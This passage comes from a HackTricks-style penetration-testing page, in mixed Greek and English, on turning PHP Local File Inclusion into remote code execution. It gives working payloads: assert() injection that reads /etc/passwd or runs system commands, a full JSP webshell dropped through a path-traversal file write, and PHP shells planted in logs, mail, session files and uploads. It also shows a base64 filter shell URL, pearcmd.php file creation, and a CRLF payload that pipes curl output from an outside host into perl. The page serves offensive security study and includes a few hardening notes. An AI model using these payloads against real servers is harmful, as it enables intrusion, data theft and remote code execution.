- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Γράφει στη μνήμη ή σε προσωρινό αρχείο (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε μια file inclusion attack)
|
||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο τοπικό filesystem
|
||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Πρόσβαση σε HTTP(s) URLs
|
||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Πρόσβαση σε FTP(s) URLs
|
||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Ροές συμπίεσης
|
||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Εύρεση ονομάτων διαδρομών που ταιριάζουν με πρότυπο (δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
|
||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ροές ήχου (Δεν είναι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
|
||
|
||
## LFI via PHP's 'assert'
|
||
|
||
Οι κίνδυνοι από Local File Inclusion (LFI) σε PHP είναι αξιοσημείωτα υψηλοί όταν χειριζόμαστε τη συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό αν ελέγχεται είσοδος που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν φιλτράρεται σωστά.
|
||
|
||
Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί να αποτρέπει directory traversal ως εξής:
|
||
```bash
|
||
assert("strpos('$file', '..') === false") or die("");
|
||
```
|
||
Ενώ αυτό στοχεύει στο να σταματήσει το traversal, δημιουργεί άθελά του ένα διάνυσμα για code injection. Για να εκμεταλλευτεί αυτό για ανάγνωση περιεχομένου αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:
|
||
```plaintext
|
||
' and die(highlight_file('/etc/passwd')) or '
|
||
```
|
||
Ομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, κάποιος μπορεί να χρησιμοποιήσει:
|
||
```plaintext
|
||
' and die(system("id")) or '
|
||
```
|
||
It's important to **URL-encode these payloads**.
|
||
|
||
## PHP Blind Path Traversal
|
||
|
||
> [!WARNING]
|
||
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου εσείς **ελέγχετε** την **διαδρομή αρχείου** μιας **συνάρτησης PHP** που θα **προσπελάσει ένα αρχείο** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στο **`file()`**) και το περιεχόμενο δεν εμφανίζεται.
|
||
|
||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
||
|
||
As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
|
||
|
||
Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
|
||
|
||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||
|
||
For the technical details check the mentioned post!
|
||
|
||
## LFI2RCE
|
||
|
||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||
|
||
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
|
||
|
||
Τυπική ροή εκμετάλλευσης:
|
||
- Εντοπίστε ένα write primitive σε ένα endpoint ή background worker που αποδέχεται ένα path/filename και γράφει περιεχόμενο στο disk (π.χ., message-driven ingestion, XML/JSON command handlers, ZIP extractors, κ.λπ.).
|
||
- Προσδιορίστε web-exposed directories. Συνηθισμένα παραδείγματα:
|
||
- Apache/PHP: `/var/www/html/`
|
||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||
- Δημιουργήστε μια traversal διαδρομή που σπάει έξω από τον προοριζόμενο storage κατάλογο προς το webroot, και συμπεριλάβετε το webshell περιεχόμενό σας.
|
||
- Πλοηγηθείτε στο dropped payload και εκτελέστε εντολές.
|
||
|
||
Σημειώσεις:
|
||
- Η ευάλωτη υπηρεσία που εκτελεί το write ίσως ακούει σε ένα non-HTTP port (π.χ., ένας JMF XML listener στο TCP 4004). Το κύριο web portal (διαφορετική θύρα) θα εξυπηρετήσει αργότερα το payload σας.
|
||
- Σε Java stacks, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή `File`/`Paths` concatenation. Η έλλειψη canonicalisation/allow-listing είναι το βασικό σφάλμα.
|
||
|
||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<JMF SenderID="hacktricks" Version="1.3">
|
||
<Command Type="SubmitQueueEntry">
|
||
<!-- Write outside the intake folder into the webroot via traversal -->
|
||
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
|
||
<Data>
|
||
<![CDATA[
|
||
<%@ page import="java.io.*" %>
|
||
<%
|
||
String c = request.getParameter("cmd");
|
||
if (c != null) {
|
||
Process p = Runtime.getRuntime().exec(c);
|
||
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
|
||
in.transferTo(out);
|
||
}
|
||
}
|
||
%>
|
||
]]>
|
||
</Data>
|
||
</Command>
|
||
</JMF>
|
||
```
|
||
Ενίσχυση ασφαλείας που εξουδετερώνει αυτήν την κατηγορία ευπαθειών:
|
||
- Επίλυση σε κανονική διαδρομή και εξασφάλιση ότι είναι απόγονος ενός βασικού καταλόγου που περιλαμβάνεται στη λίστα επιτρεπόμενων.
|
||
- Απόρριψη οποιασδήποτε διαδρομής που περιέχει `..`, απόλυτες ρίζες, ή γράμματα δίσκου; προτιμήστε παραγόμενα ονόματα αρχείων.
|
||
- Εκτέλεση του writer ως λογαριασμός με χαμηλά δικαιώματα και απομόνωση των καταλόγων εγγραφής από τις ρίζες που εξυπηρετούνται.
|
||
|
||
## Remote File Inclusion
|
||
|
||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
||
|
||
### Μέσω αρχείου καταγραφής Apache/Nginx
|
||
|
||
Αν ο διακομιστής Apache ή Nginx είναι **ευάλωτος σε LFI** μέσα στη συνάρτηση include μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στα **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, να τοποθετήσετε στο **user agent** ή σε μια **GET parameter** ένα php shell όπως **`<?php system($_GET['c']); ?>`** και να συμπεριλάβετε αυτό το αρχείο
|
||
|
||
> [!WARNING]
|
||
> Σημειώστε ότι **αν χρησιμοποιήσετε διπλά εισαγωγικά** για το shell αντί για **απλά εισαγωγικά**, τα διπλά εισαγωγικά θα τροποποιηθούν στη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει σφάλμα** εκεί και **τίποτα άλλο δεν θα εκτελεστεί**.
|
||
>
|
||
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** αλλιώς η PHP θα κάνει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
|
||
|
||
Αυτό μπορεί επίσης να γίνει σε άλλα logs αλλά **προσοχή,** ο κώδικας μέσα στα αρχεία καταγραφής μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Το header **authorisation "basic"** περιέχει "user:password" σε Base64 και αυτό αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell μπορεί να εισαχθεί μέσα σε αυτό το header.\
|
||
Άλλες πιθανές διαδρομές αρχείων καταγραφής:
|
||
```python
|
||
/var/log/apache2/access.log
|
||
/var/log/apache/access.log
|
||
/var/log/apache2/error.log
|
||
/var/log/apache/error.log
|
||
/usr/local/apache/log/error_log
|
||
/usr/local/apache2/log/error_log
|
||
/var/log/nginx/access.log
|
||
/var/log/nginx/error.log
|
||
/var/log/httpd/error_log
|
||
```
|
||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||
|
||
### Μέσω Email
|
||
|
||
**Στείλτε ένα mail** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως `<?php echo system($_REQUEST["cmd"]); ?>` και προσπαθήστε να το include στο mail του χρήστη με ένα path όπως **`/var/mail/<USERNAME>`** ή **`/var/spool/mail/<USERNAME>`**
|
||
|
||
### Μέσω /proc/*/fd/*
|
||
|
||
1. Ανεβάστε πολλά shells (για παράδειγμα: 100)
|
||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διεργασίας (μπορεί να βρεθεί με brute force) και $FD ο file descriptor (μπορεί επίσης να βρεθεί με brute force)
|
||
|
||
### Μέσω /proc/self/environ
|
||
|
||
Όπως σε ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent — θα εμφανιστεί μέσα στο αρχείο /proc/self/environ
|
||
```
|
||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||
User-Agent: <?=phpinfo(); ?>
|
||
```
|
||
### Μέσω upload
|
||
|
||
Εάν μπορείτε να upload ένα αρχείο, απλά εισάγετε το shell payload σε αυτό (e.g : `<?php system($_GET['c']); ?>` ).
|
||
```
|
||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||
```
|
||
Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να εγχύσετε στα μεταδεδομένα των εικόνων/doc/pdf
|
||
|
||
### Μέσω μεταφόρτωσης αρχείου ZIP
|
||
|
||
Μεταφορτώστε ένα ZIP αρχείο που περιέχει ένα συμπιεσμένο PHP shell και προσπελάστε:
|
||
```python
|
||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||
```
|
||
### Μέσω PHP sessions
|
||
|
||
Ελέγξτε αν ο ιστότοπος χρησιμοποιεί PHP Session (PHPSESSID)
|
||
```
|
||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||
```
|
||
Στο PHP αυτές οι συνεδρίες αποθηκεύονται σε αρχεία _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
||
```
|
||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||
```
|
||
Ορίστε το cookie σε `<?php system('cat /etc/passwd');?>`
|
||
```
|
||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||
```
|
||
Χρησιμοποιήστε το LFI για να συμπεριλάβετε το αρχείο session του PHP.
|
||
```
|
||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||
```
|
||
### Μέσω ssh
|
||
|
||
Αν το ssh είναι ενεργό, έλεγξε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπάθησε να αποκτήσεις πρόσβαση στο **\<HOME>/.ssh/id_rsa**
|
||
|
||
### **Μέσω** **vsftpd** _**αρχεία καταγραφής**_
|
||
|
||
Τα αρχεία καταγραφής για τον FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στο σενάριο όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε εκτεθειμένο vsftpd server, μπορούν να ληφθούν υπόψη τα εξής βήματα:
|
||
|
||
1. Εισήγαγε ένα PHP payload στο πεδίο username κατά τη διαδικασία σύνδεσης.
|
||
2. Μετά την έγχυση, χρησιμοποίησε το LFI για να ανακτήσεις τα αρχεία καταγραφής του server από _**/var/log/vsftpd.log**_.
|
||
|
||
### Μέσω php base64 filter (using base64)
|
||
|
||
Όπως φαίνεται σε [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) άρθρο, το PHP base64 filter απλώς αγνοεί μη-base64. Μπορείς να το χρησιμοποιήσεις για να παρακάμψεις τον έλεγχο επέκτασης αρχείου: αν δώσεις base64 που τελειώνει με ".php", θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Εδώ είναι ένα παράδειγμα payload:
|
||
```url
|
||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||
|
||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||
```
|
||
### Μέσω php filters (δεν απαιτείται αρχείο)
|
||
|
||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε τα **php filters για να παράγετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό ουσιαστικά σημαίνει ότι μπορείτε να **παράγετε αυθαίρετο php code** για το include **χωρίς να χρειάζεται να το γράψετε** σε αρχείο.
|
||
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-php-filters.md
|
||
{{#endref}}
|
||
|
||
### Μέσω segmentation fault
|
||
|
||
**Upload** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, στη συνέχεια στο **ίδιο αίτημα,** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
|
||
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-segmentation-fault.md
|
||
{{#endref}}
|
||
|
||
### Μέσω Nginx temp file storage
|
||
|
||
Αν εντοπίσατε ένα **Local File Inclusion** και **Nginx** τρέχει μπροστά από PHP, μπορεί να καταφέρετε να αποκτήσετε RCE με την εξής τεχνική:
|
||
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-nginx-temp-files.md
|
||
{{#endref}}
|
||
|
||
### Μέσω PHP_SESSION_UPLOAD_PROGRESS
|
||
|
||
Αν έχετε βρει ένα **Local File Inclusion** ακόμη και αν **δεν έχετε session** και `session.auto_start` είναι `Off`. Αν παρέχετε την **`PHP_SESSION_UPLOAD_PROGRESS`** στα δεδομένα **multipart POST**, το PHP θα **ενεργοποιήσει το session για εσάς**. Μπορείτε να καταχραστείτε αυτό για να αποκτήσετε RCE:
|
||
|
||
|
||
{{#ref}}
|
||
via-php_session_upload_progress.md
|
||
{{#endref}}
|
||
|
||
### Μέσω temp file uploads σε Windows
|
||
|
||
Αν εντοπίσατε ένα **Local File Inclusion** και ο server τρέχει σε **Windows**, ίσως αποκτήσετε RCE:
|
||
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-temp-file-uploads.md
|
||
{{#endref}}
|
||
|
||
### Μέσω `pearcmd.php` + URL args
|
||
|
||
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το script `/usr/local/lib/phppearcmd.php` υπάρχει εξ ορισμού σε php docker images. Επιπλέον, είναι δυνατό να περάσετε arguments στο script μέσω του URL επειδή αναφέρεται ότι αν ένα URL param δεν έχει `=`, θα χρησιμοποιηθεί ως argument. Δείτε επίσης το [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) και το [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||
|
||
Το παρακάτω request δημιουργεί ένα αρχείο στο `/tmp/hello.php` με το περιεχόμενο `<?=phpinfo()?>`:
|
||
```bash
|
||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||
```
|
||
Το παρακάτω εκμεταλλεύεται μια CRLF vuln για να αποκτήσει RCE (από [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||
```
|
||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||
%0d%0a
|
||
```
|
||
### Μέσω phpinfo() (file_uploads = on)
|
||
|
||
Αν βρείτε ένα **Local File Inclusion** και ένα αρχείο που εκθέτει **phpinfo()** με file_uploads = on, μπορείτε να αποκτήσετε RCE:
|
||
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-phpinfo.md
|
||
{{#endref}}
|
||
|
||
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||
|
||
Αν βρείτε ένα **Local File Inclusion** και **can exfiltrate the path** του προσωρινού αρχείου ΑΛΛΑ ο **server** ελέγχει αν το **file to be included has PHP marks**, μπορείτε να προσπαθήσετε να **bypass that check** με αυτή την **Race Condition**:
|
||
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||
{{#endref}}
|
||
|
||
### Μέσω eternal waiting + bruteforce
|
||
|
||
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **upload temporary files** και να κάνετε τον server να **hang** την εκτέλεση PHP, τότε μπορείτε να **brute force filenames during hours** για να βρείτε το προσωρινό αρχείο:
|
||
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-eternal-waiting.md
|
||
{{#endref}}
|
||
|
||
### Σε Fatal Error
|
||
|
||
Αν συμπεριλάβετε οποιοδήποτε από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβετε το ίδιο one 2 time για να προκαλέσετε αυτό το σφάλμα).
|
||
|
||
**Δεν ξέρω πόσο χρήσιμο είναι αυτό αλλά ίσως να είναι.**\
|
||
_Ακόμα κι αν προκαλέσετε ένα PHP Fatal Error, τα προσωρινά αρχεία που ανέβηκαν διαγράφονται._
|
||
|
||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
## Αναφορές
|
||
|
||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||
|
||
{{#file}}
|
||
EN-Local-File-Inclusion-1.pdf
|
||
{{#endfile}}
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|